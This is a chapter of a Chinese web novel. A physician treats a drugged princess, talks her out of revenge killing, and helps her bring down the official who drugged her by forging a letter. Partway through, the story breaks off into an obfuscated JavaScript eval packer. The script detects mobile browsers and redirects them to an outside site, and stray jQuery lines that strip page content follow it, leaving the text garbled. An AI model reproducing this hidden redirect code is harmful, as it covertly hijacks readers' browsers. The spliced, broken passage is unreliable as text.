32. 32 去报仇

作品:《女主她一心要过好日子

    “沈愈,沈愈……”朝华一边毫无章法地摸着,一边低声唤着沈愈的名字。


    沈愈如同被传染了一般,呼吸也急促起来,那抚在他喉咙上的仿佛不是手,而是引人入极致欢乐的醉人邀请。


    “朝华,静心!你会后悔的!”终于,在朝华的手即将摸进领口时,沈愈回过神来靠着一种极大的定力抓住她的手,疾声喝道。


    “是沈愈,没关系。”朝华的声音碎得不成调。


    “正因为是沈愈,所以不行。”


    “我们本就有婚约不是吗?”


    香凝拿着冷帕过来,正好听见朝华的这句婚约,顿时瞪大了眼睛,连手里的帕子都忘了给沈愈。


    沈愈发觉香凝的存在,伸手接过帕子,敷在朝华的手臂上,平静说道:“婚约早就取消了。”


    “取消了?”朝华顿了顿,突然迸发出一股强大的力道,挣脱沈愈的手,“取消了也没关系,不重要。”


    沈愈面色愈发凝重,他一边去制住朝华四处乱抓的手,一边喊香凝:“姑娘,帮我按住她,我要施针祛毒。”


    “嗯。”香凝连忙上去帮忙。


    朝华渐渐被两人合力制住,她被按在床榻上,周身极不安地挣扎:“沈愈,我好难受!你忍心看我这么难受吗?”


    香凝听得揪心:“沈大夫,郡主看起来很痛苦。”


    “她中的是最烈的媚药。”沈愈突然变得严厉,“现在心软,就是害她。她那样骄傲的一个人,若是清醒着,绝不会愿意屈服于药性。”


    香凝从没见过沈愈如此吓人的一面,一时不敢接话。


    沈愈继续道:“我要施针为她化解药性,过程中她会很痛苦,可能会剧烈挣扎,姑娘一定不要心软,要帮我按住她。万一施针中断,她体内的药性就彻底压制不住了。”


    “嗯,我明白了。沈大夫放心。”香凝认真保证。


    “有劳姑娘。”沈愈说完,便开始施针。


    他动作很快,很稳,像是在弹琴,也像是在指尖舞蹈,看上去十分优雅,但香凝却清楚地看见沈愈的额头在不断地冒汗。


    难道医术高超如沈大夫也没有把握,也会紧张吗?香凝在心里默默想着,不敢在面上表露分毫徒增沈愈的压力。


    半个时辰之后,朝华终于平静下来。


    沈愈将最后一根银针收回银针包里,额头已是布满汗水。


    香凝见朝华脸上的红润褪下去,呼吸也变得平缓,忙问道:“是不是没事了?”


    沈愈点了点头:“无碍了。”


    “太好了!”香凝总算是长舒一口气。


    沈愈站起来,洗净手和脸,终于又恢复成往常的温文模样。


    他想起方才香凝按住朝华时,衣袖滑落露出来的淤青,对香凝说道:“香凝姑娘,你的伤如何了?让我看一看。”


    “我?”方才香凝太过紧张,被沈愈这一提醒才想起来自己身上也有许多伤还没有处理。


    “我没中药,只是一些皮外伤。”


    沈愈给香凝把了脉,确定脉象无碍后从药阁里取出一瓶跌打损伤药,递给她:“这是上好的药膏,姑娘自己敷在伤口处即可。”


    香凝接过药瓶:“多谢沈大夫。”


    沈愈关上内室的门,留给香凝独自上药的空间。


    不一会儿,香凝上好伤药,从里面走出来。


    沈愈见她出来,问道:“究竟是怎么回事?怎会如此狼狈?”


    香凝将茶馆发生的一切告诉沈愈。


    沈愈越听面色越沉:“糊涂!不过一个受人指使胡乱攀咬讹人的无赖,我早已和官府解释清楚。哪里用得着她这般冒险?那周文清是什么人?既知道他一脑门子攀附算计,怎么还敢往上凑?那是礼部的文官,可不是只知道舞刀弄剑的莽夫!”


    香凝见沈愈发火,只觉着这位平日里温文尔雅的沈大夫比方怀瑾生气的时候还要吓人,她有些害怕,为朝华解释道:“郡主她也是担心沈大夫。她这次遭了这么大的罪,沈大夫就不要再生气了。”


    沈愈充耳不闻继续教训道:“今日若你身上没有带着银针,又或是你没有想起来用银针,你们两个会落得什么下场?如此不把自己的安危旁人的安危放在心上,冲动妄为,真遇到难缠的歹人脱不了身,怎么办?”


    香凝也知道今日情况危急,她无法再反驳,垂首听着沈愈教训。


    沈愈教训完叹了口气,复又对香凝嘱咐道:“朝华醒过来之后,不会记得今日在医馆发生的一切。也请姑娘顾及朝华的颜面,不要在她面前提起。”


    沈愈所说自是指朝华在药物趋势下纠缠他的事情,香凝也明白其中的尴尬,点头如捣蒜:“沈大夫放心,我不会和任何人说起。”


    傍晚时分,朝华终于醒过来。她一醒来,脑子里浮现的就是周文清那张令她作呕满是贪欲的脸,吓得她连忙做防备姿态检查四周,待看清屋内陈设是沈愈的医馆,才终于放下心来。


    她整理好仪容走出去,看见香凝正在看医书,而香凝的额头上赫然顶着一个青紫色的印记。朝华顿感自责:“对不住,都是我冒失,连累了你。”


    “知道自己连累了人就好,但愿郡主日后懂得凡事三思而行,勿要莽撞。”沈愈拿着一捧药材走进来,不阴不阳地教训她。


    朝华难得听话没有反驳,垂首道:“多谢沈大夫,又救了我一回。”


    沈愈看着她,犹豫了一会儿说道:“闹事讹人的无赖已被官府惩处,医馆无事,你莫要担心。”


    朝华点点头,语气有些失落:“到底还是我瞎担心了。”


    沈愈见她难得灰心,觉着她有些可怜,到底还是狠不下心,安慰道:“其实还是很棘手的,医馆差一点就要关门大吉了。不能说是你瞎担心。”


    朝华面无表情地点点头:“医馆既无事,我也放心了。改日我请你去六合楼吃席,谢你今日的援手。”她说完,便抬脚往外走。


    香凝放下医书,想跟上去。


    朝华停住脚步,对香凝道:“你在医馆等我,我去去就回。”


    香凝不明所以,懵懂地点了点头。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904823|192384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    沈愈却是看穿她的心思,问道:“你要去哪儿?”


    朝华想胡乱编个地方,还没来得及说出口,沈愈又道:“说实话。”


    朝华犹豫片刻,终是如实说道:“周文清那狗东西居然敢对我下手,我去他家里宰了他!”


    “郡主?”香凝被她这话镇住。


    “放心,区区一个周文清,我应付得过来。”


    “是,一个不懂武功的周文清你当然应付得过来。”沈愈放下手里的药材,犀利地问道,“但你杀掉他之后呢?吏部郎中在家中被杀,明日一早就会成为大理寺的首要大案。你能保证全身而退,不被大理寺的人查出端倪吗?”


    朝华被问住,嘴硬道:“他先对我下手,就算大理寺查出来了,总也不能让我为他去偿命。”


    “我朝律法严明,王子犯法尚与庶民同罪,何况你只是一个郡主。为了一个杂碎,赔上你自己,不值得。”沈愈走到朝华面前,双手按在她的肩头,愈发耐心地劝说:“周文清这个人醉心权势,对付他这种人,夺去他的权势功名,远比杀掉他更让他痛苦。”


    朝华闻言犹豫了许久,终是问道:“你想怎么做?”


    沈愈冷笑:“周文清不是喜欢权斗攀附吗?我就要他因权斗攀附身败名裂,革去官职永不录用。”


    接下来的日子,朝华按沈愈所说称病不出,王府对外没有任何异样。


    周文清忐忑了几日,渐渐放下心来。他想朝华并没有他下药的证据,别说闹到官府,就是说给王爷,王爷也未必相信。何况她到底是一个女人,对于女人,名声比天大,想来她也不敢声张,只得吃下这个哑巴亏。甚至他还在暗自盘算,如何再寻个机会将朝华弄到手。


    “这一次,一定要避开兰樱那个丫鬟。”


    周文清还在做着攀上王府的春秋大梦,殊不知一张复仇的网正在向他收紧。


    沈愈虽已脱离家族,也没入过仕途,但他从小是被当作沈家接班人培养的。官场里的人情关系、党争派系、升迁罢黜规则,他非常清楚。


    如今朝中新旧党争闹得厉害,周文清所属吏部是支持旧党一派。沈愈让朝华潜入周文清家中,偷了几封他的日常信件回来。


    沈愈依照信件模仿周文清的字迹语气,写了封向新党示好大骂旧党腐朽短视的信件,又故意让与周文清不和的吏部官员缴获此信件。


    那吏部官员看到信后,果然立刻上交给周文清的顶头上司吏部尚书谢大人。


    谢大人见了信件大怒,想即刻将周文清叫过来质问,但又恐周文清早已倒戈打草惊蛇,于是他只装作不知,暗中在周文清的政务考核上使绊子。


    周文清不知谢大人对自己的芥蒂,越是逢迎讨好,谢大人越觉得他在把自己当傻子骗,私下的动作越狠辣。


    终于,在周文清对朝华下药的第十五天,谢大人查出周文清在任上贪赃枉法轻贱百姓的证据,上书弹劾周文清。


    同属旧党的官员立刻上书附和,皇帝在一众上表奏请之下,革去了周文清的官职永不录用。